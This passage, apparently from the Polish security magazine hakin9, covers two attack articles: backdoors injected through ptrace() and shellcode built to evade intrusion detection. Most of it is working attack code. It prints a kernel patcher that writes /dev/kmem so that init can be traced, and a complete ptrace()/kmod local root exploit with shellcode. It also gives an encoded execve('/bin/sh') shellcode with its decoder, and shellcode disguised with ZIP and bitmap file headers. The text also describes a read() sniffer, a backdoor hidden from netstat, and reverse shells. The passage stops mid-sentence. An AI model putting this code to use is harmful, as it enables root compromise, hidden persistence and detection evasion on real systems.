ce) i możesz też wstawiać niewidzial-
ne furtki. Admini zwykle ufają swoim

daemonom, więc jeśli zainfekujesz

named, jest duża szansa, że nikt tego
nie namierzy, jeśli nie otworzysz no-

Listing 8b.

Łata na jądro umożliwiająca ptrace() na init

/* get system_call() address */

read_kmem

(

idt

+

(

0x80

<<

3

)

,

buffer

,

8

);

int80

=

(

*(

unsigned

short

*)(

buffer

+

6

)

<<

16

)

+

*(

unsigned

short

*)(

buffer

);

/* get system_call_table address */

read_kmem

(

int80

,

buffer

,

BUFSIZE

);

if

(

!

(

p

=

memmem

(

buffer

,

BUFSIZE

,

"

\x

FF

\x

14

\x

85"

,

3

)

)

)

{

fprintf

(

stderr

,

"fatal: can't locate sys_call_table

\n

"

);

return

(

18

);

}

sct

=

*(

int

*)(

p

+

3

);

printf

(

" . sct @ 0x%08X

\n

"

,

sct

);

/* get sys_ptrace() address and patch it */

read_kmem

(

(

off_t

)

(

p

+

3

-

buffer

+

syscall

)

,

buffer

,

4

);

read_kmem

(

sct

+

__NR_ptrace

*

4

,

(

void

*)

&

ptrace

,

4

);

read_kmem

(

ptrace

,

buffer

,

BUFSIZE

);

if

(

(

p

=

memmem

(

buffer

,

BUFSIZE

,

"

\x

83

\x

FE

\x

10"

,

3

)

)

)

{

p

-=

7

;

c

=

*

p

^

1

;

kmode

=

*

p

&

1

;

gcc_ver

=

GCC_295

;

}

else

{

if

(

(

p

=

memmem

(

buffer

,

BUFSIZE

,

"

\x

83

\x

FB

\x

10"

,

3

)

)

)

{

p

-=

2

;

c

=

*

p

^

4

;

kmode

=

*

p

&

4

;

gcc_ver

=

GCC_3XX

;

}

else

{

fprintf

(

stderr

,

"fatal: can't find patch 1 address

\n

"

);

return

(

19

);

}

}

write_kmem

(

p

-

buffer

+

ptrace

,

&

c

,

1

);

printf

(

" . kp1 @ 0x%08X

\n

"

,

p

-

buffer

+

ptrace

);

/* get ptrace_attach() address and patch it */

if

(

gcc_ver

==

GCC_3XX

)

{

p

+=

5

;

ptrace

+=

*(

int

*)(

p

+

2

)

+

p

+

6

-

buffer

;

read_kmem

(

ptrace

,

buffer

,

BUFSIZE

);

p

=

buffer

;

}

if

(

!

(

p

=

memchr

(

p

,

0xE8

,

24

)

)

)

{

fprintf

(

stderr

,

"fatal: can't locate ptrace_attach

\n

"

);

return

(

20

);

}

ptrace

+=

*(

int

*)(

p

+

1

)

+

p

+

5

-

buffer

;

read_kmem

(

ptrace

,

buffer

,

BUFSIZE

);

if

(

!

(

p

=

memmem

(

buffer

,

BUFSIZE

,

"

\x

83

\x

79

\x

7C"

,

3

)

)

)

{

fprintf

(

stderr

,

"fatal: can't find patch 2 address

\n

"

);

return

(

21

);

}

c

=

(

!

kmode

);

write_kmem

(

p

+

3

-

buffer

+

ptrace

,

&

c

,

1

);

Pisanie własnych furtek

wego portu. Po prostu pozostawimy
powłokę na naszym terminalu, żeby
zapobiec łatwemu wykryciu. Zresztą,
później będzie o tym więcej.

Objaśnienia

do różnych furtek

Mamy do dyspozycji wiele możliwych
furtek, ale chyba nie znasz chyba
wszystkich? Zagłębmy się w szczegó-
ły. Pokażę parę zrzutów ekranu róż-
nych pasożytów w akcji i wyjaśnię, o
co tam chodzi, żeby przedstawić lep-
szy obraz tego, co się tam dzieje.

Infekcja procesu init

za pomocą /dev/kmem

Zwykle nie możesz się podłączyć
do procesu init przez

ptrace()

. Jed-

nak odpowiednim trikiem możemy
proces init uczynić możliwym do
śledzenia i w ten sposób zainfeko-
wać go pasożytem. Rzućmy okiem
na wywołanie systemowe

ptrace()

(

sys _ ptrace

), znajdujące się w arch/

i386/kernel/ptrace.c:

ret = -EPERM;
if (pid == 1)
/* you may not mess with init */
goto out_tsk;
if (request == PTRACE_ATTACH)
{

Figure 2.

Infekowanie procesu

Figure 3.

Testowanie infekcji

Listing 8c.

Łata na jądro umożliwiająca ptrace() na init

printf

(

" . kp2 @ 0x%08X

\n

"

,

p

+

3

-

buffer

+

ptrace

);

/* success */

if

(

c

)

printf

(

" - kernel unpatched

\n

"

);

else

printf

(

" + kernel patched

\n

"

);

close

(

kmem_fd

);

return

(

0

);

}

R

E

K

L

A

M

A

hakin9 Nr 1/2007

www.hakin9.org

Atak

22

ret = ptrace_attach(child);
goto out_tsk;
}

Christophe Devine napisał mały pro-
gram, który jest rozprowadzany na li-
cencji publicznej GNU, do załatania
jądra w czasie wykonywania, żeby
można było śledzić init. Załączam
ten kod (patrz Listingi 8). Teraz po
załataniu tą metodą

/dev/kmem

, moż-

na zainfekować proces init. Jednak
po zainfekowaniu, init nie będzie się
już znajdował na szczycie procesu
i przez to może ujawnić, że system
został naruszony.

Snifer do read()

Wystarczy teorii, skupmy się teraz
na konstrukcji sniffera read(). Po
prostu wstrzykniemy instrukcje pa-
sożyta w segment kodu, nadpisując
tym samym globalny offset funkcji
read() tak, aby wskazywała na nasz
kod. Jego wykonanie będzie imito-
wało funkcję read() z uzupełnieniem
o logowanie wszystkiego do określo-
nego pliku. Kod jest wart więcej niż
słowa, więc zacznijmy. Na początek
spójrzmy na nasz kod zastępczy: (Li-
sting 6)

Istotną rzeczą, którą w tym miej-

scu trzeba odnotować, pozwalającą
uniknąć męczącej sesji z debuge-
rem, jest to, iż różne wersje gcc trak-
tują wywołanie

inline asm()

inaczej.

W związku z tym, nawet jeśli powyż-
sze wywołanie działa na niektórych
wersjach gcc, na nowszych już nie-
koniecznie. Aby temu zaradzić po-
stąpimy tak jak w pierwszym przyto-
czonym przykładzie:

asm("movl $1, %eax\n"
"movl $123, %ebx\n"
"int $0x80\n");

Nasz kod zastępczy jest gotowy.
To podstawa naszej furtki, paso-
żyt. Przejdźmy teraz do potrzebnych
funkcji. Komentarze prezentuję po-
wyżej funkcji:

Furtka przez dup2()

No cóż, ta furtka jest całkiem nie-
widzialna i netstat jej nie pokazu-
je. Oczywiście nie korzystamy z

Listing 9a.

Linux kernel ptrace()/kmod local root exploit

#include

<grp.h>

#include

<stdio.h>

#include

<fcntl.h>

#include

<errno.h>

#include

<paths.h>

#include

<string.h>

#include

<stdlib.h>

#include

<signal.h>

#include

<unistd.h>

#include

<sys/wait.h>

#include

<sys/stat.h>

#include

<sys/param.h>

#include

<sys/types.h>

#include

<sys/ptrace.h>

#include

<sys/socket.h>

#include

<linux/user.h>

char

cliphcode

[]

=

"

\x

90

\x

90

\x

eb

\x

1f

\x

b8

\x

b6

\x

00

\x

00"

"

\x

00

\x

5b

\x

31

\x

c9

\x

89

\x

ca

\x

cd

\x

80"

"

\x

b8

\x

0f

\x

00

\x

00

\x

00

\x

b9

\x

ed

\x

0d"

"

\x

00

\x

00

\x

cd

\x

80

\x

89

\x

d0

\x

89

\x

d3"

"

\x

40

\x

cd

\x

80

\x

e8

\x

dc

\x

ff

\x

ff

\x

ff"

;

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t

parent

=

1

;

pid_t

child

=

1

;

pid_t

victim

=

1

;

volatile

int

gotchild

=

0

;

void

fatal

(

char

*

msg

)

{

perror

(

msg

);

kill

(

parent

,

SIGKILL

);

kill

(

child

,

SIGKILL

);

kill

(

victim

,

SIGKILL

);

}

void

putcode

(

unsigned

long

*

dst

)

{

char

buf

[

MAXPATHLEN

+

CODE_SIZE

];

unsigned

long

*

src

;

int

i

,

len

;

memcpy

(

buf

,

cliphcode

,

CODE_SIZE

);

len

=

readlink

(

"/proc/self/exe"

,

buf

+

CODE_SIZE

,

MAXPATHLEN

-

1

);

if

(

len

==

-

1

)

fatal

(

"[-] Unable to read /proc/self/exe"

);

len

+=

CODE_SIZE

+

1

;

buf

[

len

]

=

'

\0

'

;

src

=

(

unsigned

long

*)

buf

;

for

(

i

=

0

;

i

<

len

;

i

+=

4

)

if

(

ptrace

(

PTRACE_POKETEXT

,

victim

,

dst

++

,

*

src

++)

==

-

1

)

fatal

(

"[-] Unable to write shellcode"

);

}

void

sigchld

(

int

signo

)

{

struct

user_regs_struct

regs

;

if

(

gotchild

++

==

0

)

return

;

fprintf

(

stderr

,

"[+] Signal caught

\n

"

);

if

(

ptrace

(

PTRACE_GETREGS

,

victim

,

NULL

,

&

regs

)

==

-

1

)

fatal

(

"[-] Unable to read registers"

);

fprintf

(

stderr

,

"[+] Shellcode placed at 0x%08lx

\n

"

,

regs

.

eip

);

putcode

((

unsigned

long

*)

regs

.

eip

);

fprintf

(

stderr

,

"[+] Now wait for suid shell...

\n

"

);

if

(

ptrace

(

PTRACE_DETACH

,

victim

,

0

,

0

)

==

-

1

)

fatal

(

"[-] Unable to detach from victim"

);

exit

(

0

);

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

23

Listing 9b.

Eksploit na lokalnego roota do ptrace()/kmod jądra Linuksa

}

void

sigalrm

(

int

signo

)

{

errno

=

ECANCELED

;

fatal

(

"[-] Fatal error"

);

}

void

do_child

(

void

)

{

int

err

;

child

=

getpid

();

victim

=

child

+

1

;

signal

(

SIGCHLD

,

sigchld

);

do

err

=

ptrace

(

PTRACE_ATTACH

,

victim

,

0

,

0

);

while

(

err

==

-

1

&&

errno

==

ESRCH

);

if

(

err

==

-

1

)

fatal

(

"[-] Unable to attach"

);

fprintf

(

stderr

,

"[+] Attached to %d

\n

"

,

victim

);

while

(!

gotchild

)

;

if

(

ptrace

(

PTRACE_SYSCALL

,

victim

,

0

,

0

)

==

-

1

)

fatal

(

"[-] Unable to setup syscall trace"

);

fprintf

(

stderr

,

"[+] Waiting for signal

\n

"

);

for

(;;);

}

void

do_parent

(

char

*

progname

)

{

struct

stat

st

;

int

err

;

errno

=

0

;

socket

(

AF_SECURITY

,

SOCK_STREAM

,

1

);

do

{

err

=

stat

(

progname

,

&

st

);

}

while

(

err

==

0

&&

(

st

.

st_mode

&

S_ISUID

)

!=

S_ISUID

);

if

(

err

==

-

1

)

fatal

(

"[-] Unable to stat myself"

);

alarm

(

0

);

system

(

progname

);

}

void

prepare

(

void

)

{

if

(

geteuid

()

==

0

)

{

initgroups

(

"root"

,

0

);

setgid

(

0

);

setuid

(

0

);

execl

(

_PATH_BSHELL

,

_PATH_BSHELL

,

NULL

);

fatal

(

"[-] Unable to spawn shell"

);

}

}

int

main

(

int

argc

,

char

**

argv

)

{

prepare

();

signal

(

SIGALRM

,

sigalrm

);

alarm

(

10

);

parent

=

getpid

();

child

=

fork

();

victim

=

child

+

1

;

if

(

child

==

-

1

)

fatal

(

"[-] Unable to fork"

);

if

(

child

==

0

)

do_child

();

else

do_parent

(

argv

[

0

]);

return

0

;

}

gniazd, w związku z czym musimy
napisać własną implementacje po-
włoki. Trzeba przy tym pamiętać,
w jaki sposób działa powłoka wią-
żąca. Duplikuje (używając

dup2

) de-

skryptory,

stdout/in/err

by podpiąć

je pod gniazdko tak, aby nasza po-
włoka pokazała się po właściwej
stronie, a nie na serwerze. Nasz
kod nie używa gniazd, w związku z
czym jest niewidzialny dla zwykłe-
go admina. Wstrzykiwany kod może
uzyskać dostęp do wszystkich da-
nych procesu, w tym deskryptorów.
Gdy łączymy się ze zdalną usługą,
wywoływany jest

fork()

a następ-

nie

accept()

, więc alokowane są no-

we deskryptory, do których chcemy
uzyskać dostęp.

Jest kilka na to sposobów: l mo-

żemy nadpisać

accept()

naszą wła-

sną implementacją, która zapisze
zwracane wartości do jakiegoś pliku,
z którego będzie można je odczytać.
Jest to lepsze niż poprzednio, lecz
nie idealne wyście.

l możemy użyć

procfs

, informa-

cja o stanie używanych deskrypto-
rów jest w

/proc/ _ pid _ /fd.

Po pro-

stu wygrepuj ostatni deskryptor. Ten
wariant nie jest jednak w pełni zado-
walający, gdyż jego realizacja zajmie
z byt dużo miejsca. Również

procfs

może być niedostępny w niektórych
systemach.

l metoda

dup2

. Nie zajmuje do-

datkowego miejsca, lecz praw-
dopodobnie nie jest uniwersalna.
Zwykle proces ma stałą ilość uży-
wanych deskryptorów i możemy
je wykryć używając strace. Ma-
ły przykład z Netstat: $nc -lp 1111.
czytamy pid, a następnie wykonu-
jemy strace -p. Z kolei po komen-
dzie telnet localhost 1111 odczytu-
jemy zwracaną wartość z accept(),
która z reguły jest 3 bądź 4 w więk-
szości przypadków.

Połączenie zwrotne

Zwykle chcemy odpalić powłokę
wiążącą, lecz co zrobić w sytuacji,
gdy firewall blokuje port? Rozwiąza-
niem jest połączenie wychodzące.
Z reguły wszystkie tego typu połą-
czenia są dozwolone, lecz czasami
istnieje ograniczenie do kilku do-

hakin9 Nr 1/2007

www.hakin9.org

Atak

24

zwolonych portów. W tym wypad-
ku można sprawdzić DNS (port
53), WWW (port 80) lub FTP (port
21) itd. Ostatnim pozostającym ele-
mentem będzie stworzenie kodu
zastępczego do połączenia zwrot-
nego, a przy technikach, które by-
ły prezentowane nie powinno sta-
nowić to problemu. Na początek
sugeruję użyć stałej wartości dla
adresu IP takiej jak #define CB_IP
127.0.0.1 a następnie po prostu wy-
konać

connect()

i odpalić

/bin/sh

-i.

Przykład z życia

Po całej tej teorii przyszedł czas na
jakiś rzeczywisty działający kod, zga-
dza się? No to do roboty. Na sche-
macie 1 widać ściąganie wstrzykiwa-
cza

ptrace()

, zwanego malaria, do-

stępnego w internecie.

Odpalmy Netcat w tle. Będzie

stanowił on nasz cel, który staramy
się zainfekować. Schemat 2 pokazu-
je sposób infekcji procesu.

Teraz, gdy nasz kod powłoko-

wy jest wczytany do pamięci, może-
my dostrzec na ostatnim ekranie no-
wy nasłuchujący port TCP. Gdy się
z nim połączymy uzyskamy powło-
kę roota!

Był to przykład prostego wstrzy-

kiwacza z Internetu. Istnieją jednak
bardziej zaawansowane wersje ła-
twe do znalezienia, wiec jeśli chcesz
znaleźć i przetestować coś więcej,
sugeruję przeszukanie Google’a.

Ochrona

przed tego typu atakami

Zanim zaprezentujemy sposób
ochrony przed tego typu ataka-
mi, najpierw musimy zapoznać się
ze sposobem detekcji tego typu in-
fekcji. Najlepszym na to sposobem
jest porównanie adresów z Global-
nej Tablicy Przesunięć. Można rów-
nież napisać lkm, które limituje wy-
konanie

ptrace()

do root-a, gdyż jeśli

atakujący posiada juz prawa root-a,
nie ma się już co martwić o to, jakiej
furtki używa, ale można się dowie-
dzieć, jak uzyskał do niej dostęp, a
następnie czeka cię reinstalacja. Ta-
kie lkm-y istnieją od lat i nie powinno
być trudno je znaleźć.

Dodatek

2.4.x kernel patcher pozwala na
ptrace-owanie w procesie init (Co-
pyright (c) 2003 Christophe Devine

[e-mail]). Jest to dar-
mowy program, który możesz re-
dystrybuować i modyfikować w ra-
mach licencji GNU (General Public
License) opublikowanej przez Free
Software Fundation w wersji dru-
giej lub późniejszej. Program ten
jest użyteczny, lecz nie daje żad-
nych gwarancji, w tym gwarancji
handlowej, ani sprawdzania się w
określonym zastosowaniu. Odsyła-
my do GNU General Public Licen-
se po więcej szczegółów. Powinie-
neś otrzymać kopię GNU General
Public License wraz z tym progra-
mem, jeśli nie, możesz napisać do
Free Software Fundation, Inc., 59
Temple Place, Suite 330, Boston,
MA 02111-1307 USA.

Eksploit na lokalnego roota do

ptrace()/kmod

jądra Linuksa. Ten

kod wykorzystuje sytuację wyści-
gu w

kernel/kmod.c

, który tworzy

wątek w sposób narażający bez-
pieczeństwo. Ta dziura pozwala na

ptrace()

w sklonowanym procesie,

dając możliwość uzyskania kontro-
li nad uprzywilejowanym plikiem bi-
narnym modprobe. Powinno dzia-
łać pod każdym jądrem 2.2.x i 2.4.x.
Odkryłem ten głupi błąd niezależnie
25 stycznia 2003, tzn. (prawie) dwa
miesiące przed poprawką i jej opubli-
kowaniem przez Red Hata i innych.
Wojciech Purczyński [e-mail].

TEN PROGRAM JEST WYŁĄCZ-

NIE DO CELÓW EDUKACYJNYCH

I JEST DOSTARCZONY W TAKIEJ

POSTACI BEZ ŻADNEJ GWARAN-

CJI ((c) 2003 Copyright by iSEC Se-
curity Research).

Podsumowanie

No dobrze, nauczyliśmy się niezłych
sposobów na manipulowanie cho-
dzącymi programami w pamięci. Da-
je nam to wiele możliwości zmienia-
nia przepływu wykonania w taki spo-
sób, że możemy całkowicie kontrolo-
wać program.

Załóżmy, że mamy Daemona

O Zamkniętych Źródłach, który nie
ma wystarczających elementów lo-
gujących, a plik z logiem jest mocno
uproszczony, ale my chcemy więcej
informacji! Normalnie to trzeba by
z tym żyć, albo zażądać poprawek
od dostawcy. Teraz możesz sobie to
sam uprościć!

Piszesz drobny wstrzykiwacz

ptrace()

, który zamienia funkcje lo-

gujące na twoje, albo po prostu lo-
gujesz wszystko poprzez podpina-
nie się pod

read()/write()

czy po-

dobnych.

Zwykle ta wiedza jest wykorzy-

stywana przez testery penetracji z
powłoką z wstrzykiwaczem

ptrace()

do włamania się na chroot, albo ha-
kerów do furtkowania binariów, ale ta
wiedza daje ci też większą elastycz-
ność w pracy administratorskiej przy
pracy z oprogramowaniem zamknię-
tym. l

O autorze

Autor jest zaangażowany w działkę bezpieczeństwa IT od ponad 10 lat i pracował jako
administrator bezpieczeństwa i inżynier oprogramowania. Od 2004 roku jest CEO w
firmie GroundZero Security Research w Niemczech. Wciąż pisze kody eksploitów dla
Proof of concept, aktywnie bada sprawy związane z bezpieczeństwem i wykonuje te-
sty penetracji. Kontakt z autorem: [e-mail]

W Sieci

• http://publib16.boulder.ibm.com/pseries/en_US/libs/basetrf1/ptrace.htm - techni-

cal Reference: Base Operating System and Extensions, Volume 1,

• http://www.phrack.com/phrack/59/p59-0x0c.txt – budowanie kodu powłokowego

wstrzykującego przez

ptrace()

,

• http://www.die.net/doc/linux/man/man2/ptrace.2.html – man 2

ptrace()

.

www.hakin9.org

hakin9 Nr 1/2007

26

Atak

N

ajbardziej powszechne i popularne ko-
dy powłoki działają na bazie dostępu do
linii poleceń systemu, który jest celem

ataku – stąd zresztą wzięła się nazwa tej tech-
niki. Powłoka to program, który daje dostęp do
serwisów udostępnianych przez jadra systemu.
Przykładami powłoki mogą być CMD.EXE (dla
systemów z rodziny Windows) bądź /bin/bash
(dla systemów z rodziny Linux, UNIX). Kody po-
włoki próbują uruchomić właśnie te aplikacje.
Zagrożenie powiązane z kodem powłoki jest
bardzo duże, jako że kod taki będzie wywoła-
ny z takimi samymi przywilejami jak wykorzy-
stany przez niego proces – mogą być to zarów-
no przywileje użytkownika jak i administratora.
Mają te ostatnie, kod powłoki ma moc do prze-
prowadzenia niemalże każdej operacji w syste-
mie, a na dodatek może zrobić to w niewidocz-
ny sposób, jako że jego poczynania będą ma-
skowane przez eksploatowny proces.

Istnieje duża różnorodność rozwiązań

stworzonych w celu zapobiegania kodów
powłoki w systemach. Może to być zarów-
no instalacja dedykowanych systemów detek-
cji i usuwania intruzów jak i różnego rodzaju
czynności prewencyjne narzucone przez ad-
ministratora systemu. Z punktu widzenia ata-

kującego są to pewne przeszkody. W niniej-
szym artykule przedstawię koncepcje na któ-
rych bazuje część ze wspomnianych rozwią-
zań wskazując przy okazji na ich słabe strony.
Pokażę również przykład rzeczywistego kodu
powłoki, który wykorzystuje słabe punkty w
celu ominięcia systemu zabezpieczeń. Mimo
tego, iż prezentowane kody powłoki zostały

Schellcody

nowej genaracji

Itzik Kotler

stopień trudności

Kod powłoki jest fragmentem kodu maszynowego, który

wykorzystuje się jako ładunek przy atakach bazujących na

wykorzystaniu błędów softwarowych. Wykorzystywanie słabych

punktów w rodzaju przepełnienia bufora przydzielonego na stosie

lub stercie lub stringów formatujących wymagają kodu powłoki. Kod

ten będzie wykonany jeśli proces wykorzystania luki się powiedzie.

Z artykułu dowiesz...

• jakie przeszkody spotyka napastnik próbujący

uruchomić kod powłoki na systemie będącym
celem ataku oraz jak wyglądają sposoby obej-
ścia tych przeszkód,

• jak projektować i implementować bardziej

sprytne kody powłoki.

Powinieneś wiedzieć...

• podstawy Assemblera x86 dla platformy Linux,
• podstawowe informacje na temat technik ata-

ków bazujących na przepełnieniu bufora przy-
dzielonego na stosie lub na stercie, oraz ata-
ków wykonywanych przy pomocy napisów for-
matujących.

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

27

zaprojektowane dla systemów Linux
działających w architekturze x86 to
część koncepcji na których one ba-
zują można uznać za przenośnie i
wykorzystać na innych platformach.

Ewolucja kontra

diagnozowanie

„po kablu”

Metoda diagnozowania „po kablu”
(ang. Wire diagnose) jest często
implementowana w ramach syste-
mów klasy IDS (ang. Intrusion Detec-

tion Systems) oraz IPS (ang. Intru-

sion Prevention Systems). Rozwią-
zania te różnią się przede wszystkim
rodzajem zakresami kontroli. Pierw-
sze skupiają się na warstwie komuni-
kacyjnej próbując wyłapać tu wszel-
kie rodzaje podejrzanych pakie-
tów w Sieci, które przebrnęły przez
klasyczną zaporę systemu; drugie
monitorują system na poziomie hosta,
próbując wyłapać tu wszelkie rodzaje
złośliwych zachowań.

Metoda diagnozowania „po ka-

blu” jest jedną z właściwości NIDS
(systemu detekcji intruzów) i pole-
ga na rozpoznawaniu i klasyfikacji
pakietów nadchodzących z Sieci
zanim dotrą one do swoich punk-
tów przeznaczenia. W przypadku
rozpoznania potencjalnego niebez-
pieczeństwa system podnosi alarm.
Podobnie jak programy antywiruso-
we, NIDS posiada bazę danych pod-
pisów i wzorców, które związane są
z próbami włamań do systemów.
Baza taka składa się zazwyczaj
z listy najczęściej używanych baj-
tów, lub sekwencji bajtów pojawiają-
cych się w kodach powłoki.

Siła tej metody zależy z jednej

strony od jakości informacji składo-
wanych w bazie, zaś z drugiej – od
tego na ile „typowa” jest struktura ko-
du powłoki, który próbuje włamać się
do systemu. Ponieważ z punktu wi-
dzenia napastnika baza reguł NIDS
jest niedostępna, dlatego jedynym
sposobem na obejście tej przeszko-
dy jest zmiana struktury kodu powło-
ki; zjawisko to zwane jest polimorfi-
zmem.

Innym słabym punktem tej me-

tody są warstwy bezpiecznego
przesyłania danych w Sieci. Pro-

Listing 1.

Zaszyfrowane kody powłoki składają się z dwóch części

#
#

(

linux

/

x86

)

execve

(

"/bin/sh"

,

[

"/bin/sh"

]

,

NULL

)

/

zakodowane

przez

+

1

-

39

bajt

ó

w

# - [e-mail]
#
.

section

.

text

.

global

_start

_start

:

#
# Zakodowany ładunek

(

drugi

kod

pow

ł

oki

)

#

pushl

$

0x81cee28a

pushl

$

0x54530cb1

pushl

$

0xe48a6f6a

pushl

$

0x63306901

pushl

$

0x69743069

pushl

$

0x14

popl

%

ecx

#
# Pętla dekodująca
#

_unpack_loop

:

decb

(%

esp

,

%

ecx

,

1

)

decl

%

ecx

jns

_unpack_loop

incl

%

ecx

mul

%

ecx

#
# Skocz do

zdekodowanego

kodu

pow

ł

oki

#

push

%

esp

ret

Listing 2.

Kod powłoki rozpoczyna się serią instrukcji PUSH

#
# Zakodowany ładunek

(

drugi

kod

pow

ł

oki

)

#

pushl

$

0x81cee28a

pushl

$

0x54530cb1

pushl

$

0xe48a6f6a

pushl

$

0x63306901

pushl

$

0x69743069

Listing 3.

Skok pętli do ładunku umieszczonego na stosie

#
# Pętla dekodująca
#

_unpack_loop

:

decb

(%

esp

,

%

ecx

,

1

)

decl

%

ecx

jns

_unpack_loop

incl

%

ecx

mul

%

ecx

#
# Jump to the decoded shellcode
#

push

%

esp

ret

hakin9 Nr 1/2007

www.hakin9.org

Atak

28

tokoły typu SSL czy VPN (IPSec)
są wykorzystywane w celu tzw. tu-
nelowania, które omija NIDS, jako
że przekazywane dane są szyfro-
wane i deszyfrowane w końcowych
punktach połączenia. W tej sytuacji
NIDS nie jest w stanie zdekodować
przychodzących danych i baza re-
guł staje się bezużyteczna.

CJO0TI = /BIN/SH

Szyfrowanie kodu powłoki to pod-
stawowy mechanizm prowadzą-
cy do uzyskania polimorfizmu. Pro-
ces ten pozwala bezkarnie wykorzy-
stywać „oznaczone” bajty i sekwen-
cje nie martwiąc się o to, ze zostaną
one przechwycone po stronie NIDS.
Istnieje cała gama metod szyfrowa-
nia, przy czym większość z nich ba-
zuje na funkcjach matematycznych
lub bramkach logicznych. Szyfrowa-
nie kodu powłoki może również po-
legać na tworzeniu luk w strumieniu
danych, który przechodzi przez sieć
– luki te są usuwane przed wywoła-
niem kodu w docelowym systemie.

Polimorfizm kodów powłoki

można zauważyć również w przy-
padku kiedy próba ataku opiera
się o protokół wymagający ograni-
czonego zestawu znaków. Na przy-
kład protokoły działające w oparciu
o dane tekstowe automatycznie od-
rzucają jakiekolwiek dane binarne.
W takim przypadku kody powłoki są
reprezentowane w postaci alfanu-
merycznej.

Zaszyfrowane kody powłoki skła-

dają się z dwóch części: zakodowa-
nego ładunku oraz dekodera, który
deszyfruje pierwszą część i na końcu
wykonuje do niej skok. (Listing 1)

Przedstawiony w Listingu 1. kod

powłoki w momencie wywołania ma
postać execve("/bin/sh"). Jednakże
w postaci zakodowanej wygląda zu-
pełnie inaczej.

Kod powłoki rozpoczyna się serią

instrukcji PUSH. Przy każdym wywo-
łaniu tej instrukcji na stos wrzucane są
4 bajty zaszyfrowanego ładunku. Stos
jest idealnym miejscem gdzie można
rozpakować niewielką ilość danych i
na dodatek (domyślnie) posiada ze-
zwolenie na czytanie, pisanie i co naj-
bardziej istotne – wykonywanie ko-

du który się aktualnie na nim znajdu-
je.(Listing 2). W dalszej kolejności ma-
my kod dekodera. Szyfrowanie w tym
przypadku jest prostą grą inkrementa-
cji i dekrementacji. Dekoder jest zło-
żony z pętli, która czyta bajt po baj-
cie dane wrzucone na stos i wykonuje
na nich operację odejmowania w ce-
lu przywrócenie oryginalnej wartości.
Po zakończeniu pętli kod powłoki wy-
konuje skok do ładunku umieszczone-
go na stosie (Listing 3.).

Oczywiste jest, że im łatwiejsza

metoda dekodowania tym mniejszy
będzie dekoder. Podejście to ma
jeszcze jedną zaletę – pozwala uży-
wać zabronionych bajtów – chociaż-
by takich jak

NULL

.

NULL

z racji tego,

że jest stosowany jako znacznik koń-
ca napisu, nie powinien być używa-
ny w ciele kodu powłoki (kod taki, w
przypadku ataków polegających na
wykorzystaniu stringów mógłby być
przedwcześnie obcięty).

Jednak przy zastosowaniu szy-

frowania problem znika – podatna
na atak funkcja (np.

strcpy()

) nigdy

nie przetworzy wartości

NULL

, gdyż

jest ona zakodowana.

Pomimo tego, że szyfrowanie

zmienia wygląd zewnętrzny kodu po-
włoki, warto zauważyć iż wynikowa
postać nie zawsze musi być odpor-
na na metodę diagnozowania „po ka-
blu”. Problem w tym, że wielokrotne
wykorzystanie tego samego sche-
matu szyfrowania może sprawić, że
odpowiedzialny za to kod będzie za-
rejestrowany jako wzorzec i umiesz-

Listing 4.

Kod powłoki

#
#

x86

/

linux

–

execve

(

"/bin/

sh"

,

[

"/bin/sh"

,

NULL

])

+

Nag

łó

wek

ZIP

-

28

bajt

ó

w

# - [e-mail]
#
.

section

.

text

.

global

_start

_start

:

#
# PK[\03\04], Nagłówek

archiwum

danych

PK

[

Zip

]

(

5

bajt

ó

w

)

#
.

byte

0x50

.

byte

0x4b

.

byte

0x03

.

byte

0x04

.

byte

0x24

#
#

execve

(

"/bin/sh"

,

[

"/bin/sh"

,

NULL

]);

#

push

$

0xb

popl

%

eax

cdq

push

%

edx

push

$

0x68732f2f

push

$

0x6e69622f

mov

%

esp

,

%

ebx

push

%

edx

push

%

ebx

mov

%

esp

,

%

ecx

int

$

0x80

Listing 5a.

Formaty

#

#

x86

/

linux

–

execve

(

"/bin/sh"

,

[

"/bin/sh"

,

NULL

])

+

Nag

łó

wek

24

-

bitowej

Bitmapy

-

23

bajty

# - [e-mail]
#
.

section

.

text

.

global

_start

_start

:

#
# Nagłówek 24-bitowej Bitmapy
#
.

byte

0x42

.

byte

0x4D

.

byte

0x36

.

byte

0x91

#
#

execve

(

"/bin/sh"

,

[

"/

bin/sh"

,

NULL

]);

#

push

$

0xb

popl

%

eax

cdq

push

%

edx

push

$

0x68732f2f

O autorze:

Itzik Kotler jest badaczem zajmującym
się problemami bezpieczeństwa w sys-
temach informatycznych, oraz założy-
cielem projektu TTY64. Wspomniany
projekt skupia się na promowaniu tech-
nik programowania zorientowanych na
bezpieczeństwo, a także na wszelkich
aspektach powiązanych z tym tema-
tem. Na stronie domowej projektu moż-
na znaleźć wiele ciekawych informacji
i zasobów powiązanych z tematem
(między innymi przykładowe fragmen-
ty kodu).
Kontakt z autorem: [e-mail]

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

29

czony w bazie danych. Aby uzyskać
w miarę niezawodne rozwiązanie na-
leżałoby ciągle modyfikować zarów-
no samą formułę kodu powłoki jak i
metodę szyfrowania tej formuły.

Ja jestem ZIP,

a kim jesteś Ty?

Częstym sposobem na rozróżnienie
dwóch różnych formatów danych jest
próba odczytania pewnych znaczni-
ków. Dla przykładu – do poszczegól-
nych formatów często przypisuje się
konkretne rozszerzenia plików, i co
więcej – lwia część formatów danych
posiada nagłówki opatrzone „ma-
gicznymi” numerami bądź bajtami.
Bajty te są często przydatne kiedy
aplikacja próbuje zweryfikować czy
nadchodzący strumień danych ma w
pożądany format.

Wstawianie do kodu powłoki „ma-

gicznych” bajtów powiązanych z po-
wszechnie rozpoznawanymi forma-
tami plików może być bardzo pomoc-
ne przy oszukiwaniu narzędzi moni-
torujących ruch w Sieci. Szczególnie
w przypadkach prób włamania się do
systemu poprzez takie standardowe
kanały jak poczta elektroniczna czy
zawartość stron webowych, bardzo
ważne jest to aby kod powłoki otrzy-
mał fałszywą „osobowość”. Dla przy-
kładu, kod powłoki, który przedsta-
wia się jako ZIP ma dużą szansę
ogłupić system wykrywania intruzów
i osiągnąć swój cel (Listing 4.).

Kod powłoki zaczyna się 5 bajto-

wym nagłówkiem charakterystycz-
nym dla popularnego formatu kom-
presji – ZIP. W tym przypadku bar-
dzo istotny jest fakt, iż wspomniane
5 bajtów da się przekształcić w po-
prawne instrukcje asemblera. Ponie-
waż system skupia się na wychwy-
tywaniu kodów powłoki, niewątpliwie
